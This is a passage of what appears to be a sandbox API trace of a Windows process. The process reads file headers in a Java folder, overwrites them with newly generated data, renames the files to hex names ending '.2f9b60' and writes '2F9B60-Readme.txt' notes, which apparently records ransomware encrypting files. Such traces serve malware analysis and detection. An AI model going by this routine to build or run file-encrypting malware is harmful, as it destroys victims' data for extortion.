lpOverlapped=0x0 | out: lpBuffer=0x4258c580*, lpNumberOfBytesRead=0x3661f5c0*=0x3c00, lpOverlapped=0x0) returned 1 [0151.981] SetFilePointerEx (in: hFile=0x25a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.981] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058ab0 [0151.982] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868f40 [0151.982] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x205004a0 [0151.982] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205004a0) returned 1 [0151.982] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x425979b0 [0151.982] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x205004a0 [0151.982] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500560 [0151.983] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500560) returned 1 [0151.983] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868f40) returned 1 [0151.983] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058ab0) returned 1 [0151.983] WriteFile (hFile=0x25a4, lpBuffer=0x425979b0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3661f5c0, lpOverlapped=0x0) [0186.777] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x425979b0) returned 1 [0186.777] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4258c580) returned 1 [0186.777] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1cecad30 [0186.777] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058970 [0186.778] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8697c0 [0186.778] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6620 [0186.778] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6620) returned 1 [0186.778] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x202a6620 [0186.780] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6770 [0186.780] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3880 [0186.781] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3880) returned 1 [0186.781] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8697c0) returned 1 [0186.782] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058970) returned 1 [0186.782] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x43104830 [0186.782] SetFilePointerEx (in: hFile=0x25a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0186.782] WriteFile (in: hFile=0x25a4, lpBuffer=0x43104830*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x3661f670, lpOverlapped=0x0 | out: lpBuffer=0x43104830*, lpNumberOfBytesWritten=0x3661f670*=0x108, lpOverlapped=0x0) returned 1 [0200.935] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5be80 [0200.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85d990 [0200.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7b60 [0200.937] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7b60) returned 1 [0200.938] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d2a0 [0200.938] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7b60 [0200.938] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6a80 [0200.939] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6a80) returned 1 [0200.939] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d990) returned 1 [0200.940] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5be80) returned 1 [0200.940] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1ce5eab0 [0200.940] sprintf (in: _Dest=0x1ce5eab0, _Format="%c%c" | out: _Dest="cf") returned 2 [0200.940] sprintf (in: _Dest=0x1ce5eab2, _Format="%c%c" | out: _Dest="35") returned 2 [0200.940] sprintf (in: _Dest=0x1ce5eab4, _Format="%c%c" | out: _Dest="5b") returned 2 [0200.940] sprintf (in: _Dest=0x1ce5eab6, _Format="%c%c" | out: _Dest="83") returned 2 [0200.940] sprintf (in: _Dest=0x1ce5eab8, _Format="%c%c" | out: _Dest="7c") returned 2 [0200.940] sprintf (in: _Dest=0x1ce5eaba, _Format="%c%c" | out: _Dest="d6") returned 2 [0200.940] sprintf (in: _Dest=0x1ce5eabc, _Format="%c%c" | out: _Dest="0a") returned 2 [0200.940] sprintf (in: _Dest=0x1ce5eabe, _Format="%c%c" | out: _Dest="40") returned 2 [0200.940] sprintf (in: _Dest=0x1ce5eac0, _Format="%c%c" | out: _Dest="46") returned 2 [0200.940] sprintf (in: _Dest=0x1ce5eac2, _Format="%c%c" | out: _Dest="8b") returned 2 [0200.941] sprintf (in: _Dest=0x1ce5eac4, _Format="%c%c" | out: _Dest="d7") returned 2 [0200.941] sprintf (in: _Dest=0x1ce5eac6, _Format="%c%c" | out: _Dest="01") returned 2 [0200.941] sprintf (in: _Dest=0x1ce5eac8, _Format="%c%c" | out: _Dest="56") returned 2 [0200.941] sprintf (in: _Dest=0x1ce5eaca, _Format="%c%c" | out: _Dest="24") returned 2 [0200.941] sprintf (in: _Dest=0x1ce5eacc, _Format="%c%c" | out: _Dest="ef") returned 2 [0200.941] sprintf (in: _Dest=0x1ce5eace, _Format="%c%c" | out: _Dest="a4") returned 2 [0200.941] sprintf (in: _Dest=0x1ce5ead0, _Format="%c%c" | out: _Dest="6a") returned 2 [0200.941] sprintf (in: _Dest=0x1ce5ead2, _Format="%c%c" | out: _Dest="2b") returned 2 [0200.941] sprintf (in: _Dest=0x1ce5ead4, _Format="%c%c" | out: _Dest="a4") returned 2 [0200.941] sprintf (in: _Dest=0x1ce5ead6, _Format="%c%c" | out: _Dest="6a") returned 2 [0200.941] sprintf (in: _Dest=0x1ce5ead8, _Format="%c%c" | out: _Dest="44") returned 2 [0200.941] sprintf (in: _Dest=0x1ce5eada, _Format="%c%c" | out: _Dest="ca") returned 2 [0200.941] RtlInitAnsiString (in: DestinationString=0x3661f6e8, SourceString="cf355b837cd60a40468bd7015624efa46a2ba46a44ca" | out: DestinationString="cf355b837cd60a40468bd7015624efa46a2ba46a44ca") [0200.941] RtlAnsiStringToUnicodeString (in: DestinationString=0x3661f6b8, SourceString="cf355b837cd60a40468bd7015624efa46a2ba46a44ca", AllocateDestinationString=1 | out: DestinationString="cf355b837cd60a40468bd7015624efa46a2ba46a44ca") returned 0x0 [0200.941] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x430a1010 [0200.942] wcscat (in: _Dest=0x431069f0, _Source="cf355b837cd" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\cf355b837cd") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\cf355b837cd" [0200.942] wcscat (in: _Dest=0x431069f0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\cf355b837cd.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\cf355b837cd.2f9b60" [0200.942] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\cf355b837cd.2f9b60", NtPathName=0x3661f690, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\cf355b837cd.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0200.942] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x431eba60 [0207.932] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431eba60) returned 1 [0207.932] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4309ae70) returned 1 [0207.933] NtQueryInformationFile (in: FileHandle=0x25a4, IoStatusBlock=0x3661f6f8, FileInformation=0x3661f708, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3661f6f8, FileInformation=0x3661f708) returned 0x0 [0207.933] NtSetInformationFile (FileHandle=0x25a4, IoStatusBlock=0x3661f6f8, FileInformation=0x3661f708, Length=0x28, FileInformationClass=0x4) returned 0x0 [0216.004] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431069f0) returned 1 [0216.005] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430a1010) returned 1 [0216.005] FlushFileBuffers (hFile=0x25a4) returned 1 [0216.010] CloseHandle (hObject=0x25a4) returned 1 [0219.084] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1b86b430 [0219.084] wcscpy (in: _Dest=0x1b86b430, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\" [0219.084] wcscat (in: _Dest=0x1b86b430, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\2F9B60-Readme.txt" [0219.084] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\2f9b60-readme.txt")) returned 0xffffffff [0219.085] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f58 [0224.096] WriteFile (in: hFile=0x1f58, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x3661f5b0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x3661f5b0*=0xba9, lpOverlapped=0x0) returned 1 [0225.587] CloseHandle (hObject=0x1f58) returned 1 [0226.680] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86b430) returned 1 [0226.680] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060eb0) returned 1 [0226.680] FindNextFileW (in: hFindFile=0x1ced6340, lpFindFileData=0x2027cce0 | out: lpFindFileData=0x2027cce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="jqs", cAlternateFileName="")) returned 1 [0226.680] wcscmp (_String1="jqs", _String2=".") returned 1 [0226.680] wcscmp (_String1="jqs", _String2="..") returned 1 [0226.680] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1cddf1a0 [0226.680] wcscpy (in: _Dest=0x1cddf1a0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy" [0226.680] wcscat (in: _Dest=0x1cddf1a0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\" [0226.680] wcscat (in: _Dest=0x1cddf1a0, _Source="jqs" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\jqs") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\jqs" [0226.681] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x64) returned 0x1cddf130 [0226.681] wcscpy (in: _Dest=0x1cddf130, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\jqs" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\jqs") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\jqs" [0226.681] wcscat (in: _Dest=0x1cddf130, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\jqs\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\jqs\\" [0226.681] wcscat (in: _Dest=0x1cddf130, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\jqs\\*") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\jqs\\*" [0226.681] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd9a560 [0226.681] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\jqs\\*", lpFindFileData=0x1cd9a560 | out: lpFindFileData=0x1cd9a560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c550 [0226.682] wcscmp (_String1=".", _String2=".") returned 0 [0226.682] FindNextFileW (in: hFindFile=0x1cd9c550, lpFindFileData=0x1cd9a560 | out: lpFindFileData=0x1cd9a560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.682] wcscmp (_String1="..", _String2=".") returned 1 [0226.682] wcscmp (_String1="..", _String2="..") returned 0 [0226.682] FindNextFileW (in: hFindFile=0x1cd9c550, lpFindFileData=0x1cd9a560 | out: lpFindFileData=0x1cd9a560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x9f6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="jqs.conf", cAlternateFileName="JQS~1.CON")) returned 1 [0226.682] wcscmp (_String1="jqs.conf", _String2=".") returned 1 [0226.682] wcscmp (_String1="jqs.conf", _String2="..") returned 1 [0226.682] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x42060eb0 [0226.682] wcscpy (in: _Dest=0x42060eb0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\jqs" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\jqs") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\jqs" [0226.682] wcscat (in: _Dest=0x42060eb0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\jqs\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\jqs\\" [0226.682] wcscat (in: _Dest=0x42060eb0, _Source="jqs.conf" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\jqs\\jqs.conf") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\jqs\\jqs.conf" [0226.682] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\jqs\\jqs.conf" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\jqs\\jqs.conf")) returned 0x20 [0226.683] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\jqs\\jqs.conf", dwFileAttributes=0x20) returned 1 [0226.684] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\jqs\\jqs.conf" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\jqs\\jqs.conf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x3268 [0226.685] GetFileSizeEx (in: hFile=0x3268, lpFileSize=0x3661f650 | out: lpFileSize=0x3661f650*=40814) returned 1 [0226.685] SetFilePointerEx (in: hFile=0x3268, liDistanceToMove=0x9f6a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.685] ReadFile (in: hFile=0x3268, lpBuffer=0x3661f5d0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3661f618, lpOverlapped=0x0 | out: lpBuffer=0x3661f5d0*, lpNumberOfBytesRead=0x3661f618*=0x4, lpOverlapped=0x0) returned 1 [0226.759] SetFilePointerEx (in: hFile=0x3268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.759] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6d70 [0226.759] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7c70 [0226.759] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6290 [0226.760] NtQuerySystemTime (in: CurrentTime=0x3661f510 | out: CurrentTime=0x3661f510*=132462178307470000) returned 0x0 [0226.760] RtlRandomEx (in: Seed=0x3661f500 | out: Seed=0x3661f500) returned 0x5d61dcec [0226.760] RtlRandomEx (in: Seed=0x3661f500 | out: Seed=0x3661f500) returned 0x1720a62b [0226.760] RtlRandomEx (in: Seed=0x3661f500 | out: Seed=0x3661f500) returned 0xa030682 [0226.760] RtlRandomEx (in: Seed=0x3661f500 | out: Seed=0x3661f500) returned 0x2f968704 [0226.760] RtlRandomEx (in: Seed=0x3661f500 | out: Seed=0x3661f500) returned 0x2aefedd4 [0226.760] RtlRandomEx (in: Seed=0x3661f500 | out: Seed=0x3661f500) returned 0x71795879 [0226.760] RtlRandomEx (in: Seed=0x3661f500 | out: Seed=0x3661f500) returned 0x34a92bed [0226.760] RtlRandomEx (in: Seed=0x3661f500 | out: Seed=0x3661f500) returned 0x3c7b295a [0226.760] RtlRandomEx (in: Seed=0x3661f500 | out: Seed=0x3661f500) returned 0x47e6afab [0226.760] RtlRandomEx (in: Seed=0x3661f500 | out: Seed=0x3661f500) returned 0x45146fd0 [0226.760] RtlRandomEx (in: Seed=0x3661f500 | out: Seed=0x3661f500) returned 0x45652b1b [0226.760] RtlRandomEx (in: Seed=0x3661f500 | out: Seed=0x3661f500) returned 0x28ffc3cc [0226.760] RtlRandomEx (in: Seed=0x3661f500 | out: Seed=0x3661f500) returned 0x373017ab [0226.760] RtlRandomEx (in: Seed=0x3661f500 | out: Seed=0x3661f500) returned 0x1cf38c2f [0226.760] RtlRandomEx (in: Seed=0x3661f500 | out: Seed=0x3661f500) returned 0x72a0f5b1 [0226.760] RtlRandomEx (in: Seed=0x3661f500 | out: Seed=0x3661f500) returned 0x78f2eb1 [0226.760] RtlRandomEx (in: Seed=0x3661f500 | out: Seed=0x3661f500) returned 0x237b9f2c [0226.760] RtlRandomEx (in: Seed=0x3661f500 | out: Seed=0x3661f500) returned 0x9cc4954 [0226.760] RtlRandomEx (in: Seed=0x3661f500 | out: Seed=0x3661f500) returned 0x6918fcf9 [0226.760] RtlRandomEx (in: Seed=0x3661f500 | out: Seed=0x3661f500) returned 0x5f48d38 [0226.760] RtlRandomEx (in: Seed=0x3661f500 | out: Seed=0x3661f500) returned 0x448eef5b [0226.760] RtlRandomEx (in: Seed=0x3661f500 | out: Seed=0x3661f500) returned 0x51f4a630 [0226.760] RtlRandomEx (in: Seed=0x3661f500 | out: Seed=0x3661f500) returned 0xa44e5d8 [0226.760] RtlRandomEx (in: Seed=0x3661f500 | out: Seed=0x3661f500) returned 0x1ee2f7d4 [0226.760] RtlRandomEx (in: Seed=0x3661f500 | out: Seed=0x3661f500) returned 0x40293000 [0226.760] RtlRandomEx (in: Seed=0x3661f500 | out: Seed=0x3661f500) returned 0x12e6fc94 [0226.761] RtlRandomEx (in: Seed=0x3661f500 | out: Seed=0x3661f500) returned 0x3ccc5058 [0226.761] RtlRandomEx (in: Seed=0x3661f500 | out: Seed=0x3661f500) returned 0x443fef32 [0226.761] RtlRandomEx (in: Seed=0x3661f500 | out: Seed=0x3661f500) returned 0x2b5ac0c4 [0226.761] RtlRandomEx (in: Seed=0x3661f500 | out: Seed=0x3661f500) returned 0x27c2dac0 [0226.761] RtlRandomEx (in: Seed=0x3661f500 | out: Seed=0x3661f500) returned 0xa24acad [0226.761] RtlRandomEx (in: Seed=0x3661f500 | out: Seed=0x3661f500) returned 0x3a82e584 [0226.763] SetFilePointerEx (in: hFile=0x3268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.763] ReadFile (in: hFile=0x3268, lpBuffer=0x424579b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3661f570, lpOverlapped=0x0 | out: lpBuffer=0x424579b0*, lpNumberOfBytesRead=0x3661f570*=0x3c00, lpOverlapped=0x0) returned 1 [0226.799] SetFilePointerEx (in: hFile=0x3268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.799] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61970 [0226.800] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868f40 [0226.800] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a60e0 [0226.801] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a60e0) returned 1 [0226.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4244c580 [0226.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a60e0 [0226.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7bb0 [0226.802] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7bb0) returned 1 [0226.803] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868f40) returned 1 [0226.803] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61970) returned 1 [0226.803] WriteFile (in: hFile=0x3268, lpBuffer=0x4244c580*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3661f570, lpOverlapped=0x0 | out: lpBuffer=0x4244c580*, lpNumberOfBytesWritten=0x3661f570*=0x3c00, lpOverlapped=0x0) returned 1 [0234.829] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4244c580) returned 1 [0234.829] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x424579b0) returned 1 [0234.829] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x422f46f0 [0234.830] SetFilePointerEx (in: hFile=0x3268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0234.830] WriteFile (in: hFile=0x3268, lpBuffer=0x168d60*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x3661f620, lpOverlapped=0x0 | out: lpBuffer=0x168d60*, lpNumberOfBytesWritten=0x3661f620*=0x102, lpOverlapped=0x0) returned 1 [0241.029] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420594c0 [0241.030] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868ec0 [0241.031] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e5f0 [0241.032] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e5f0) returned 1 [0241.032] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82cfe0 [0241.032] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e5f0 [0241.032] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e380 [0241.033] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e380) returned 1 [0241.033] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868ec0) returned 1 [0241.034] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420594c0) returned 1 [0241.034] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x21) returned 0x2050e380 [0241.034] sprintf (in: _Dest=0x2050e380, _Format="%c%c" | out: _Dest="19") returned 2 [0241.034] sprintf (in: _Dest=0x2050e382, _Format="%c%c" | out: _Dest="a9") returned 2 [0241.034] sprintf (in: _Dest=0x2050e384, _Format="%c%c" | out: _Dest="24") returned 2 [0241.034] sprintf (in: _Dest=0x2050e386, _Format="%c%c" | out: _Dest="b0") returned 2 [0241.034] sprintf (in: _Dest=0x2050e388, _Format="%c%c" | out: _Dest="ee") returned 2 [0241.034] sprintf (in: _Dest=0x2050e38a, _Format="%c%c" | out: _Dest="62") returned 2 [0241.034] sprintf (in: _Dest=0x2050e38c, _Format="%c%c" | out: _Dest="a9") returned 2 [0241.034] sprintf (in: _Dest=0x2050e38e, _Format="%c%c" | out: _Dest="cf") returned 2 [0241.034] sprintf (in: _Dest=0x2050e390, _Format="%c%c" | out: _Dest="c8") returned 2 [0241.034] sprintf (in: _Dest=0x2050e392, _Format="%c%c" | out: _Dest="7c") returned 2 [0241.035] sprintf (in: _Dest=0x2050e394, _Format="%c%c" | out: _Dest="ad") returned 2 [0241.035] sprintf (in: _Dest=0x2050e396, _Format="%c%c" | out: _Dest="4d") returned 2 [0241.035] sprintf (in: _Dest=0x2050e398, _Format="%c%c" | out: _Dest="09") returned 2 [0241.035] sprintf (in: _Dest=0x2050e39a, _Format="%c%c" | out: _Dest="e3") returned 2 [0241.035] sprintf (in: _Dest=0x2050e39c, _Format="%c%c" | out: _Dest="0f") returned 2 [0241.035] sprintf (in: _Dest=0x2050e39e, _Format="%c%c" | out: _Dest="11") returned 2 [0241.035] RtlInitAnsiString (in: DestinationString=0x3661f698, SourceString="19a924b0ee62a9cfc87cad4d09e30f11" | out: DestinationString="19a924b0ee62a9cfc87cad4d09e30f11") [0241.035] RtlAnsiStringToUnicodeString (in: DestinationString=0x3661f668, SourceString="19a924b0ee62a9cfc87cad4d09e30f11", AllocateDestinationString=1 | out: DestinationString="19a924b0ee62a9cfc87cad4d09e30f11") returned 0x0 [0241.035] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x42059f10 [0241.036] wcscat (in: _Dest=0x202af070, _Source="19a924b0" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\jqs\\19a924b0") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\jqs\\19a924b0" [0241.036] wcscat (in: _Dest=0x202af070, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\jqs\\19a924b0.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\jqs\\19a924b0.2f9b60" [0241.036] RtlDosPathNameToNtPathName_U (in: 